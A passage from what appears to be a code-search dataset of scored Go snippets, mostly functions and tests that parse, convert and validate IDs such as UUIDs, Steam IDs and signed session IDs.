{\n\t\tn, err := strconv.ParseInt(args[0], 0, 64)\n\t\tif err != nil {\n\t\t\treturn args[0], 0, nil\n\t\t}\n\t\treturn \"\", n, nil\n\t}\n\treturn \"\", 0, nil\n}", "title": "" }, { "docid": "85428999d066386b179fd923d2c205f0", "score": "0.54810745", "text": "func TestSteamID32(t *testing.T) {\n\tsid := \"69038686\"\n\tid, err := NewId(sid)\n\tif err != nil {\n\t\tt.Fatal(err.Error())\n\t}\n\tif id.ToUint64() != uint64(76561198029304414) {\n\t\tt.Fatalf(\"%d != 76561198029304414\", id.ToUint64())\n\t}\n}", "title": "" }, { "docid": "8f6cd7e255e9604cffb2bc2ee3f07d5c", "score": "0.5472371", "text": "func TestShowRecapSalesFailID(t *testing.T) {\n\t// test\n\tm, e := ShowRecapSales(\"id\", 999999999)\n\tassert.Error(t, e)\n\tassert.Empty(t, m)\n}", "title": "" }, { "docid": "65855dee27cf0a3e2aef43f5ec513ae8", "score": "0.5455934", "text": "func (k *KeyValue) ValidInt64s() []int64 {\n vals, _ := k.parseInt64s(k.Strings(), false, false)\n return vals\n}", "title": "" }, { "docid": "0ee63d923cf8ff1839a3f7783e1beb12", "score": "0.5429611", "text": "func (m *ConversionMutation) Int64ToString() (r string, exists bool) {\n\tv := m.int64_to_string\n\tif v == nil {\n\t\treturn\n\t}\n\treturn *v, true\n}", "title": "" }, { "docid": "3cd24d3497d966f9c3bc778f8ab36875", "score": "0.542723", "text": "func (id AdId) IsValid() bool {\n\treturn id != zeroID\n}", "title": "" }, { "docid": "01e734ff1f7fd2c7a69d71e14cdc90e6", "score": "0.54030925", "text": "func mustParseInt(rawValue, name string) int {\n\ti, err := strconv.ParseInt(rawValue, 10, 64)\n\tif err != nil {\n\t\tlog.Fatalf(\"invalid int %q for %s: %s\", rawValue, name, err)\n\t}\n\n\treturn int(i)\n}", "title": "" }, { "docid": "b46917199bb1113074a19659fb72e41e", "score": "0.5402796", "text": "func ValidateID(id string, signingKey string) (SessionID, error) {\n\tdecodedID, err := base64.URLEncoding.DecodeString(id)\n\tif err != nil {\n\t\treturn InvalidSessionID, ErrInvalidID\n\t}\n\n\tkey := []byte(signingKey)\n\th := hmac.New(sha256.New, key)\n\th.Write(decodedID[:idLength])\n\thmacHash := h.Sum(nil)\n\n\tif hmac.Equal(hmacHash, decodedID[idLength:]) {\n\t\treturn SessionID(id), nil\n\t}\n\treturn InvalidSessionID, ErrInvalidID\n}", "title": "" }, { "docid": "de58cfa10239e56b5f0a46f999639356", "score": "0.54005855", "text": "func isUid(nm string) bool {\n\t/*\n\t\tmx := uint64(math.MaxUint64)\n\t\tstrconv.FormatUint(mx, 36) == '3w5e11264sgsf'\n\t*/\n\tif len(nm) > 14 {\n\t\treturn false\n\t}\n\treturn uidRegEx.MatchString(nm)\n}", "title": "" }, { "docid": "b795824eb8a54901ea67d0f15d6cdea1", "score": "0.5398003", "text": "func verifyUUIDSuffix(suffix string) bool {\n\tv, err := strconv.ParseInt(suffix, 10, 64)\n\tif err != nil || v <= 0 {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "1f3941a2fcd0d4ae0ac1b5594cb00ba6", "score": "0.5396197", "text": "func TestUserOrTeamIDChecking(t *testing.T) {\n\tvar invalidIDTestCases = [6]string{\n\t\t\"\", \" \", \"%%@#$\", \"223123\",\n\t\t\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\n\t\t\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\n\t}\n\tvar validUserIDTestCases = [4]string{\n\t\t\"bd9e818f230819d3ecc813522c71f600\",\n\t\t\"bd9e818f230819d3ecc813522c71f619\",\n\t\t\"2721c9d9a247028cf51efa0760af6d00\",\n\t\t\"2721c9d9a247028cf51efa0760af6d19\",\n\t}\n\tvar validTeamIDTestCases = [2]string{\n\t\t\"bd9e818f230819d3ecc813522c71f624\",\n\t\t\"2721c9d9a247028cf51efa0760af6d24\",\n\t}\n\tvar validSubteamIDTestCases = [2]string{\n\t\t\"bd9e818f230819d3ecc813522c71f625\",\n\t\t\"2721c9d9a247028cf51efa0760af6d25\",\n\t}\n\n\tfor _, idCase := range invalidIDTestCases {\n\t\tut := UserOrTeamID(idCase)\n\t\tif ut.IsUser() || ut.IsTeam() || ut.IsSubteam() || ut.IsTeamOrSubteam() {\n\t\t\tt.Errorf(\"Invalid ID %s is incorrectly marked valid.\", idCase)\n\t\t}\n\t}\n\tfor _, idCase := range validUserIDTestCases {\n\t\tut := UserOrTeamID(idCase)\n\t\tif !ut.IsUser() {\n\t\t\tt.Errorf(\"Valid UserID %s is incorrectly marked invalid.\", idCase)\n\t\t}\n\t\tif ut.IsTeam() || ut.IsSubteam() || ut.IsTeamOrSubteam() {\n\t\t\tt.Errorf(\"Valid UserID %s is incorrectly marked as valid for another kind of ID.\", idCase)\n\t\t}\n\t}\n\tfor _, idCase := range validTeamIDTestCases {\n\t\tut := UserOrTeamID(idCase)\n\t\tif !ut.IsTeam() || !ut.IsTeamOrSubteam() {\n\t\t\tt.Errorf(\"Valid TeamID %s is incorrectly marked invalid.\", idCase)\n\t\t}\n\t\tif ut.IsUser() || ut.IsSubteam() {\n\t\t\tt.Errorf(\"Valid TeamID %s is incorrectly marked as valid for another kind of ID.\", idCase)\n\t\t}\n\t}\n\tfor _, idCase := range validSubteamIDTestCases {\n\t\tut := UserOrTeamID(idCase)\n\t\tif !ut.IsSubteam() || !ut.IsTeamOrSubteam() {\n\t\t\tt.Errorf(\"Valid SubteamID %s is incorrectly marked invalid.\", idCase)\n\t\t}\n\t\tif ut.IsUser() || ut.IsTeam() {\n\t\t\tt.Errorf(\"Valid SubteamID %s is incorrectly marked as valid for another kind of ID.\", idCase)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ff18d485ba1acd04b7fb5936beb54e12", "score": "0.53858966", "text": "func (i *MTID) Valid() bool {\n\treturn i.UUID.String() != \"00000000-0000-0000-0000-000000000000\"\n}", "title": "" }, { "docid": "ef230d4f3a428248eb636db70eb4fab3", "score": "0.5384793", "text": "func IsLongKeyID(k string) bool {\n\tif len(k) == 40 && isHexString(k) {\n\t\treturn true\n\t} else {\n\t\treturn false\n\t}\n}", "title": "" }, { "docid": "093bee73765d8308c517fea2e4cc3435", "score": "0.5383671", "text": "func IdFromString(from string) (id Id, parse error) {\n\tuintId, parse := strconv.ParseUint(from, 10, 64)\n\tid = Id(uintId)\n\treturn\n}", "title": "" }, { "docid": "5a3a8fa612afba6cafa0cb39a7b9d628", "score": "0.53818154", "text": "func ValidateAutoScaleSettingID(input interface{}, key string) (warnings []string, errors []error) {\n\tv, ok := input.(string)\n\tif !ok {\n\t\terrors = append(errors, fmt.Errorf(\"expected %q to be a string\", key))\n\t\treturn\n\t}\n\n\tif _, err := ParseAutoScaleSettingID(v); err != nil {\n\t\terrors = append(errors, err)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "956bee24087dbfa830bcacfae8180d96", "score": "0.5377127", "text": "func IsValidUUID(str string) bool {\n\treturn idRegex.MatchString(str)\n}", "title": "" }, { "docid": "f252ec44ca06fad52b73b86a1da2b485", "score": "0.5373307", "text": "func checkIDStr(idstr string) (bool, error) {\n\tif len(idstr) == 0 {\n\t\treturn false, nil\n\t}\n\n\t// checking if a valid url of not\n\t_, err := url.Parse(\"http://\" + idstr)\n\tif err != nil {\n\t\treturn false, nil\n\t}\n\n\t// deleting document (permanently)\n\tvar b db.Blog\n\terr = b.Read(bson.M{\"id_str\": idstr}, bson.M{})\n\tswitch err {\n\tcase mgo.ErrNotFound:\n\t\treturn true, nil\n\tcase nil:\n\t\treturn false, nil\n\tdefault:\n\t\treturn false, err\n\t}\n}", "title": "" }, { "docid": "c35471885fe3d5a53ee790653f80c713", "score": "0.5362621", "text": "func TestValidUid(t *testing.T) {\n\tt.Run(\"true\", func(t *testing.T) {\n\t\tassert.True(t, IsValidShortUID(\"afqrz7jZZ\"))\n\t})\n\n\tt.Run(\"false when blank\", func(t *testing.T) {\n\t\tassert.False(t, IsValidShortUID(\"\"))\n\t})\n\n\tt.Run(\"false when invalid chars\", func(t *testing.T) {\n\t\tassert.False(t, IsValidShortUID(\"afqrz7j%%\"))\n\t})\n}", "title": "" }, { "docid": "a2dd3ebfb92afe6f667038dd7c010d7a", "score": "0.53552705", "text": "func ValidateAccessProfileID(input interface{}, key string) (warnings []string, errors []error) {\n\tv, ok := input.(string)\n\tif !ok {\n\t\terrors = append(errors, fmt.Errorf(\"expected %q to be a string\", key))\n\t\treturn\n\t}\n\n\tif _, err := ParseAccessProfileID(v); err != nil {\n\t\terrors = append(errors, err)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "92c745ea4c45dc442629cdc665f52eb8", "score": "0.53521204", "text": "func ValidateLayerId(id string) error {\n\tif ok := validId.MatchString(id); !ok {\n\t\treturn fmt.Errorf(\"invalid layer ID %q\", id)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "acb871a2dc530c1136e6c712fc8606df", "score": "0.53521085", "text": "func TestValidateZeroMetricId(t *testing.T) {\n\tm := makeSomeValidMetric()\n\tm.Id = 0\n\n\tif err := validateMetricDefinition(m); err == nil {\n\t\tt.Error(\"Accepted metric definition with 0 id.\")\n\t}\n}", "title": "" }, { "docid": "8023618c5aadad169db2aafa95c37f5f", "score": "0.5350798", "text": "func (m *InternationalID) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateCountry(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateIntAmeldingType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateNumber(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "96ff6296038f6cc9d8afcda28edb9dd9", "score": "0.5338477", "text": "func validatePassportID(value string) bool {\n\tmatches, err := regexp.MatchString(\"^[0-9]{9}$\", value)\n\treturn err == nil && matches\n}", "title": "" }, { "docid": "7b70f13dffeb783406e639deeccedb90", "score": "0.5332258", "text": "func GetStringId(id interface{}) (string, error) {\n\tswitch v := id.(type) {\n\tcase int:\n\t\treturn strconv.Itoa(v), nil\n\tcase string:\n\t\treturn v, nil\n\tdefault:\n\t\treturn \"\", errors.New(\"unsupported id type\")\n\t}\n}", "title": "" }, { "docid": "fe84f91ae3f311315c629d4c87a55716", "score": "0.53305537", "text": "func parseUint64(str string) (uint64, error) {\n\tif strings.HasPrefix(str, \"-\") {\n\t\tid, err := strconv.ParseInt(str, 10, 64)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\treturn uint64(id), nil\n\t}\n\treturn strconv.ParseUint(str, 10, 64)\n}", "title": "" }, { "docid": "35299b7d423ba2c74dcd0306dec90876", "score": "0.5328594", "text": "func validateInt(v string) error {\n\tif err := validateNonEmpty(v); err != nil {\n\t\treturn err\n\t}\n\n\tif _, err := strconv.Atoi(v); err != nil {\n\t\treturn errors.New(\"invalid integer\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9b17d4692e9ef8e4daca7b6b48a06760", "score": "0.53156024", "text": "func (id EncoderID) Valid() bool {\n\treturn id.value != 0\n}", "title": "" }, { "docid": "2a093b59ac25023a54e0a0ed7b06f150", "score": "0.5311131", "text": "func (c *Config) tryInt64(key string) (value int64, ok bool) {\n\tstrVal, ok := c.getString(key)\n\tif !ok {\n\t\treturn\n\t}\n\n\tvalue, err := strconv.ParseInt(strVal, 10, 0)\n\tif err != nil {\n\t\tc.addError(err)\n\t}\n\treturn\n}", "title": "" }, { "docid": "be2dd6f41e1f74a47038d151b579fa11", "score": "0.53108203", "text": "func ValidCheckID(cid string) (bool, error) {\n\tok, err := regexp.MatchString(\"^(/check_bundle/)?[0-9]+$\", cid)\n\tif err != nil {\n\t\treturn false, errors.Wrapf(err, \"regex issue validating Check ID (%s)\", cid)\n\t}\n\n\treturn ok, nil\n}", "title": "" }, { "docid": "bb1b48de2256f95ba46547256d034e1f", "score": "0.5310191", "text": "func getID(id uint) string {\n\tvar b []byte\n\tswitch {\n\tcase id < 128:\n\t\t// 7-bit int\n\t\tb = make([]byte, 1)\n\t\tb = []byte{byte(id)}\n\n\tcase id <= 255:\n\t\t// uint8\n\t\tb = make([]byte, 2)\n\t\tb = []byte{204, byte(id)}\n\n\tcase id > 255 && id <= 65535:\n\t\t// uint16\n\t\tb = make([]byte, 2)\n\t\tbinary.BigEndian.PutUint16(b, uint16(id))\n\t\tb = append([]byte{205}, b...)\n\n\tcase id > 65535 && id <= 4294967295:\n\t\t// uint32\n\t\tb = make([]byte, 4)\n\t\tbinary.BigEndian.PutUint32(b, uint32(id))\n\t\tb = append([]byte{206}, b...)\n\t}\n\treturn base64.StdEncoding.EncodeToString(b)\n}", "title": "" }, { "docid": "a8b65edb0ae0065f110419fcbf17bbe3", "score": "0.530826", "text": "func ParseInt64(s string) (int64, error) {\n\tvar init = true\n\tvar icut int64 = math.MaxInt64/10 + 1\n\tvar imod int64 = math.MaxInt64 % 10\n\tvar ival int64\n\tvar sign int64 = 1\n\tvar size = len(s)\n\tvar perr error\n\n\tfor i := 0; i < size; i++ {\n\t\tif s[i] == '+' {\n\t\t\tinit = false\n\t\t\tcontinue\n\t\t} else if s[i] == '-' {\n\t\t\tinit = false\n\t\t\tsign = -1\n\t\t\tcontinue\n\t\t}\n\t\tif s[i] == ' ' || s[i] == '+' || s[i] == '-' {\n\t\t\tif init {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t\tif '0' <= s[i] && s[i] <= '9' {\n\t\t\tdigit := int64(s[i] - '0')\n\t\t\tn := ival*10 + digit\n\t\t\tif ival >= icut ||\n\t\t\t\t(ival == icut-1) &&\n\t\t\t\t\t(sign == -1 && digit > imod+1 || sign == 1 && digit > imod) {\n\t\t\t\tperr = fmt.Errorf(\"overflow: %s [range: %d, %d]\",\n\t\t\t\t\ts, math.MinInt64, math.MaxInt64)\n\t\t\t\treturn ival, perr\n\t\t\t}\n\t\t\tinit = false\n\t\t\tival = n\n\t\t} else {\n\t\t\tperr = fmt.Errorf(\"invalid digit: '%c' in '%s'\", s[i], s)\n\t\t\treturn ival, perr\n\t\t}\n\t}\n\n\treturn sign * ival, perr\n}", "title": "" }, { "docid": "256bf09168e5b4ba14fe6abb129a73ba", "score": "0.5306287", "text": "func SID64FromString(steamID string) (SID64, error) {\n\tif steamID == \"\" {\n\t\treturn 0, errors.New(\"Cannot convert empty string\")\n\t}\n\ti, err := strconv.ParseInt(steamID, 10, 64)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"Failed to parse integer\")\n\t}\n\tsid := SID64(i)\n\tif !sid.Valid() {\n\t\treturn 0, errors.Errorf(\"Invalid steam64 value\")\n\t}\n\treturn sid, nil\n}", "title": "" }, { "docid": "47828cc54f8a56c9908e880613a03dbb", "score": "0.5300301", "text": "func StringToInt64(val string) int64 {\n\ti, err := strconv.ParseInt(val, 10, 64)\n\tif err != nil {\n\t\treturn 0\n\t}\n\treturn i\n}", "title": "" }, { "docid": "72ef42f35ed77960f7b0029d6806925b", "score": "0.52951616", "text": "func objectIDFromStringID(param string) (primitive.ObjectID, error) {\n\t// need to convert it to ObjectID.\n\tid, err := primitive.ObjectIDFromHex(param)\n\tif err != nil {\n\t\tlog.Printf(\"INVALID ID PASSED: %v\\n\", err)\n\t\treturn primitive.NilObjectID, err\n\t}\n\treturn id, nil\n}", "title": "" }, { "docid": "2ec077d5b62e5eb80f1090e92a32f0b9", "score": "0.52911407", "text": "func ValidateFirewallID(input interface{}, key string) (warnings []string, errors []error) {\n\tv, ok := input.(string)\n\tif !ok {\n\t\terrors = append(errors, fmt.Errorf(\"expected %q to be a string\", key))\n\t\treturn\n\t}\n\n\tif _, err := ParseFirewallID(v); err != nil {\n\t\terrors = append(errors, err)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "32b9f9384579e5f64843a45a82e14c8b", "score": "0.5287314", "text": "func (c *Alert) IDAsStringToInt() int64 {\n\treturn IDAsStringToInt(c.IDAsString)\n}", "title": "" } ]
ed4b225f4c17cde07170d00bc67d3896
WithTransactionOptions calls f with a new context containing a transaction and transaction options, flushes the transaction to a test server, and returns the decoded transaction and any associated spans and errors.
[ { "docid": "0f6d40851e972148b3c355874d6525cd", "score": "0.75068104", "text": "func WithTransactionOptions(opts apm.TransactionOptions, f func(ctx context.Context)) (model.Transaction, []model.Span, []model.Error) {\n\ttracer := NewRecordingTracer()\n\t// Do not drop short exit spans by default.\n\ttracer.SetExitSpanMinDuration(0)\n\tdefer tracer.Close()\n\treturn tracer.WithTransactionOptions(opts, f)\n}", "title": "" } ]
[ { "docid": "5e6d2648e38db07e6785bdecbde8e3b8", "score": "0.68185085", "text": "func WithTransaction(f func(ctx context.Context)) (model.Transaction, []model.Span, []model.Error) {\n\treturn WithTransactionOptions(apm.TransactionOptions{}, f)\n}", "title": "" }, { "docid": "0c19cdd8c0506d32707fe2dcbd9c1039", "score": "0.6167121", "text": "func (c *Client) ReadWriteTransactionWithOptions(ctx context.Context, f func(context.Context, *ReadWriteTransaction) error, options TransactionOptions) (resp CommitResponse, err error) {\n\tctx = trace.StartSpan(ctx, \"cloud.google.com/go/spanner.ReadWriteTransactionWithOptions\")\n\tdefer func() { trace.EndSpan(ctx, err) }()\n\tresp, err = c.rwTransaction(ctx, f, options)\n\treturn resp, err\n}", "title": "" }, { "docid": "38d47520df0c87c09dcf75dd05272b43", "score": "0.5990885", "text": "func WithTransaction(b bool) Option {\n\treturn &option{\n\t\tname: \"transaction\",\n\t\tvalue: b,\n\t}\n}", "title": "" }, { "docid": "f3b83da807a93e4b33e4ff5a60c5c15f", "score": "0.5971984", "text": "func WithTransactionTimeout(value time.Duration) Option {\n\treturn func(opts *options) {\n\t\topts.transactionTimeout = value\n\t}\n}", "title": "" }, { "docid": "3646b15dffe56bc6944abd22a254718d", "score": "0.5911852", "text": "func Transaction(f TransactionFunc) error {\n\treturn TransactionWithClient(ctx(), client, f)\n}", "title": "" }, { "docid": "370bd5391e0de4bc57d1f51972e09c77", "score": "0.5895331", "text": "func WithTestTransaction(ctx context.Context, t *testing.T, f func(tx pgx.Tx)) {\n\tt.Helper()\n\n\tlogrus.Infof(\"Starting test transaction\")\n\ttx, err := dbPool.Begin(ctx)\n\trequire.NoError(t, err)\n\n\tdefer func() {\n\t\terr := tx.Rollback(ctx)\n\t\trequire.NoError(t, err)\n\t}()\n\n\tlogrus.Infof(\"Running test body in test transaction\")\n\tf(tx)\n}", "title": "" }, { "docid": "525c993f51c08e2fe87d5a71b63f7046", "score": "0.57379067", "text": "func TransactionWithCtx(ctx context.Context, f TransactionFunc) error {\n\treturn TransactionWithClient(ctx, client, f)\n}", "title": "" }, { "docid": "8eb73126b57684b8fd5d2dceeeb01f7d", "score": "0.5631683", "text": "func Transaction() *TransactionOptions {\n\treturn &TransactionOptions{}\n}", "title": "" }, { "docid": "54034475b1753c052feb430c20686cbe", "score": "0.55665153", "text": "func WithTx(f func(*sql.Tx) error) error {\n\tif config == nil {\n\t\tlog.Fatalf(\"WithTx called prior to initialization of the database.\")\n\t}\n\n\tvar err error\n\tWithDB(func(db *sql.DB) {\n\t\tvar tx *sql.Tx\n\t\ttx, err = db.Begin()\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\tdefer func() {\n\t\t\tif p := recover(); p != nil {\n\t\t\t\tswitch p := p.(type) {\n\t\t\t\tcase error:\n\t\t\t\t\terr = p\n\t\t\t\tdefault:\n\t\t\t\t\terr = fmt.Errorf(\"%s\", p)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tmetricTxRollback.Inc()\n\t\t\t\ttx.Rollback()\n\t\t\t\treturn\n\t\t\t}\n\t\t\tmetricTxCommit.Inc()\n\t\t\terr = tx.Commit()\n\t\t}()\n\n\t\terr = f(tx)\n\t})\n\treturn err\n}", "title": "" }, { "docid": "2458982064aeb4e9e2750b388c943bd2", "score": "0.55551195", "text": "func WithTx(f func(ctx DBContext) error) error {\n\tsess := x.NewSession()\n\tif err := sess.Begin(); err != nil {\n\t\tsess.Close()\n\t\treturn err\n\t}\n\n\tif err := f(DBContext{sess}); err != nil {\n\t\tsess.Close()\n\t\treturn err\n\t}\n\n\terr := sess.Commit()\n\tsess.Close()\n\treturn err\n}", "title": "" }, { "docid": "e5175aba58d7da1dfd1a6212b276f78b", "score": "0.54601276", "text": "func WithTransaction(db *sqlx.DB, fn TxFn) (err error) {\n\ttx, err := db.Begin()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tdefer func() {\n\t\tif p := recover(); p != nil {\n\t\t\t// a panic occurred, rollback and repanic\n\t\t\ttx.Rollback()\n\t\t\tpanic(p)\n\t\t} else if err != nil {\n\t\t\t// something went wrong, rollback\n\t\t\ttx.Rollback()\n\t\t} else {\n\t\t\t// all good, commit\n\t\t\terr = tx.Commit()\n\t\t}\n\n\t\tdb.Close()\n\t}()\n\n\terr = fn(tx)\n\treturn err\n}", "title": "" }, { "docid": "d62ada012da5f1da2a23683ea78ed041", "score": "0.5428209", "text": "func (tx *Tx) WithOptions(options *Options) *Tx {\n\ttx.SetOptions(options)\n\treturn tx\n}", "title": "" }, { "docid": "55e64837ba810fd38379680217cf2934", "score": "0.5378374", "text": "func MergeTransactionOptions(opts ...*TransactionOptions) *TransactionOptions {\n\tt := Transaction()\n\tfor _, opt := range opts {\n\t\tif opt == nil {\n\t\t\tcontinue\n\t\t}\n\t\tif opt.ReadConcern != nil {\n\t\t\tt.ReadConcern = opt.ReadConcern\n\t\t}\n\t\tif opt.ReadPreference != nil {\n\t\t\tt.ReadPreference = opt.ReadPreference\n\t\t}\n\t\tif opt.WriteConcern != nil {\n\t\t\tt.WriteConcern = opt.WriteConcern\n\t\t}\n\t\tif opt.MaxCommitTime != nil {\n\t\t\tt.MaxCommitTime = opt.MaxCommitTime\n\t\t}\n\t}\n\n\treturn t\n}", "title": "" }, { "docid": "cf703a84bc3f14b76a5736c08b0c9fe7", "score": "0.5365863", "text": "func WithUncompressedTransaction(f func(ctx context.Context)) (model.Transaction, []model.Span, []model.Error) {\n\ttracer := NewRecordingTracer()\n\t// Do not drop short exit spans by default.\n\ttracer.SetExitSpanMinDuration(0)\n\ttracer.SetSpanCompressionEnabled(false)\n\tdefer tracer.Close()\n\treturn tracer.WithTransactionOptions(apm.TransactionOptions{}, f)\n}", "title": "" }, { "docid": "b16c435a0a234aecdf4bf19e66a0f0d9", "score": "0.5348359", "text": "func WithTransaction(db *sql.DB, fn func(txn *sql.Tx) error) (err error) {\n\ttxn, err := db.Begin()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"sqlutil.WithTransaction.Begin: %w\", err)\n\t}\n\tsucceeded := false\n\tdefer EndTransactionWithCheck(txn, &succeeded, &err)\n\n\terr = fn(txn)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tsucceeded = true\n\treturn\n}", "title": "" }, { "docid": "7e22a51c70fb3c9d43492e7feba977a4", "score": "0.52956456", "text": "func WithTransactionFromContext(ctx context.Context, operation func(tx *sqlx.Tx) error) error {\n\ttx := TransactionFromContext(ctx)\n\tif tx == nil {\n\t\treturn ErrNoTransaction\n\t}\n\n\treturn operation(tx)\n}", "title": "" }, { "docid": "1069185a1df7db2ff9edb7b60c92f083", "score": "0.5294945", "text": "func WithCtxTransaction(ctx context.Context, opt *sql.TxOptions, db *sqlx.DB, fn TxFunc) (err error) {\r\n\ttx, err := db.BeginTxx(ctx, opt)\r\n\tif err != nil {\r\n\t\treturn errors.Annotate(err, \"Transaction BeginTx failed\")\r\n\t}\r\n\treturn execute(tx, fn)\r\n}", "title": "" }, { "docid": "be761ad8faf71359c160f1f6a4b0c2c9", "score": "0.5276886", "text": "func (f DBStub) Transaction(ctx context.Context, action string, options *driver.TransactionOptions) (interface{}, error) {\n\treturn nil, nil\n}", "title": "" }, { "docid": "e6059e39a92af1d5de9b6cb47ba59f4c", "score": "0.5243673", "text": "func (dao *ConfigDao) Transaction(ctx context.Context, f func(ctx context.Context, tx *gdb.TX) error) (err error) {\n\treturn dao.Ctx(ctx).Transaction(ctx, f)\n}", "title": "" }, { "docid": "6bbd1e20b12a4249cb8709c3e6746bd4", "score": "0.52032506", "text": "func (m *sqlNamespaceManager) withTransaction(ctx context.Context, fn func(ctx context.Context, txn *sql.Tx) error) error {\n\n\tvar txn *sql.Tx\n\tvar err error\n\n\tif val := ctx.Value(txnKey{}); val != nil {\n\t\ttxn = val.(*sql.Tx)\n\t}\n\n\tif txn == nil {\n\t\ttxn, err = m.db.BeginTx(ctx, nil)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdefer func() {\n\t\t\terr = txn.Commit()\n\t\t}()\n\t}\n\n\tif err := fn(ctx, txn); err != nil {\n\t\treturn err\n\t}\n\n\treturn err\n}", "title": "" }, { "docid": "aa92df7bd3063221c4ab48931e7f9a13", "score": "0.5194309", "text": "func (Mock) Transaction(ctx context.Context, callback func(db *pg.Tx) error) error {\n\treturn nil\n}", "title": "" }, { "docid": "fba7eadde14370dbf6d7cba9a5e59a41", "score": "0.5164816", "text": "func (t *DB) WithTxContext(ctx context.Context, f func(context.Context) error) error {\n\ttx, err := t.Begin()\n\tif err != nil {\n\t\treturn err\n\t}\n\tctx = context.WithValue(ctx, contextKeyTx, tx)\n\terr = f(ctx)\n\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn err\n\t}\n\n\terr = tx.Commit()\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "cc45ba350954f5e49d5c4ada011c8732", "score": "0.51531875", "text": "func (dao *TagsDao) Transaction(ctx context.Context, f func(ctx context.Context, tx *gdb.TX) error) (err error) {\n\treturn dao.Ctx(ctx).Transaction(ctx, f)\n}", "title": "" }, { "docid": "265d9790bc166a009aca85370ed34f45", "score": "0.51446337", "text": "func (i MockClient) RunTransaction(ctx context.Context, path string, f db.UpdateFn) (err error) {\n\treturn nil\n}", "title": "" }, { "docid": "4f0e6262ca9e29581e483ca29cb23822", "score": "0.51380664", "text": "func WrapTransaction(tr *leveldb.Transaction, opts ...Option) *Transaction {\n\treturn &Transaction{\n\t\tTransaction: tr,\n\t\tcfg: newConfig(opts...),\n\t}\n}", "title": "" }, { "docid": "e118d4b0770d81726116a9f66242402b", "score": "0.5104805", "text": "func (r *repoSQLImpl) WithTransaction(ctx context.Context, txFunc func(ctx context.Context, repo RepoSQL) error) (err error) {\n\ttrace, ctx := tracer.StartTraceWithContext(ctx, \"RepoSQL:Transaction\")\n\tdefer trace.Finish()\n\n\ttx, err := r.writeDB.Begin()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// reinit new repository in different memory address with tx value\n\tmanager := NewRepositorySQL(r.readDB, r.writeDB, tx)\n\tdefer func() {\n\t\tif err != nil {\n\t\t\ttx.Rollback()\n\t\t\ttrace.SetError(err)\n\t\t} else {\n\t\t\ttx.Commit()\n\t\t}\n\t\tmanager.Free()\n\t}()\n\n\terrChan := make(chan error)\n\tgo func() {\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\terrChan <- fmt.Errorf(\"panic: %v\", r)\n\t\t\t}\n\t\t\tclose(errChan)\n\t\t}()\n\n\t\tif err := txFunc(ctx, manager); err != nil {\n\t\t\terrChan <- err\n\t\t}\n\t}()\n\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn fmt.Errorf(\"Canceled or timeout: %v\", ctx.Err())\n\tcase e := <-errChan:\n\t\treturn e\n\t}\n}", "title": "" }, { "docid": "39ebde9ebb8e0ca538f0f71555f96d60", "score": "0.50671023", "text": "func (t *Transactor) RunInTransaction(ctx context.Context, f func(context.Context) error) error {\n\ttx, err := t.db.Beginx()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create the transaction: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := recover(); err != nil {\n\t\t\t_ = tx.Rollback()\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\n\tctx = newContextTx(ctx, tx)\n\tif err := f(ctx); err != nil {\n\t\t_ = tx.Rollback()\n\t\treturn err\n\t}\n\n\tif err := tx.Commit(); err != nil {\n\t\treturn fmt.Errorf(\"failed to commit the transaction: %v\", err)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "7e05a6757ef4b971b7cae478eebdc34c", "score": "0.50536644", "text": "func (s *SQL) Transaction(ctx context.Context, transactionKey string, f func(tx provider.TX) error) error {\n\treturn runWithSQLAnalyzer(ctx, \"db\", func() error {\n\t\ttx, err := s.db.BeginTx(ctx, &sql.TxOptions{})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tadaptedTx := &Tx{tx: tx}\n\t\tif err := f(adaptedTx); err != nil {\n\t\t\t_ = tx.Rollback()\n\t\t\treturn err\n\t\t}\n\n\t\tif err := tx.Commit(); err != nil {\n\t\t\t_ = tx.Rollback()\n\t\t\treturn err\n\t\t}\n\n\t\treturn nil\n\t})\n\n}", "title": "" }, { "docid": "91f7b69649f8bad51f69f1f542d0a6a8", "score": "0.5047348", "text": "func Transaction(db *common.DBLogger, f func(tx sqlx.Ext) error) error {\n\ttx, err := db.Beginx()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"begin transaction error\")\n\t}\n\n\terr = f(tx)\n\tif err != nil {\n\t\tif rbErr := tx.Rollback(); rbErr != nil {\n\t\t\treturn errors.Wrap(rbErr, \"transaction rollback error\")\n\t\t}\n\t\treturn err\n\t}\n\n\tif err := 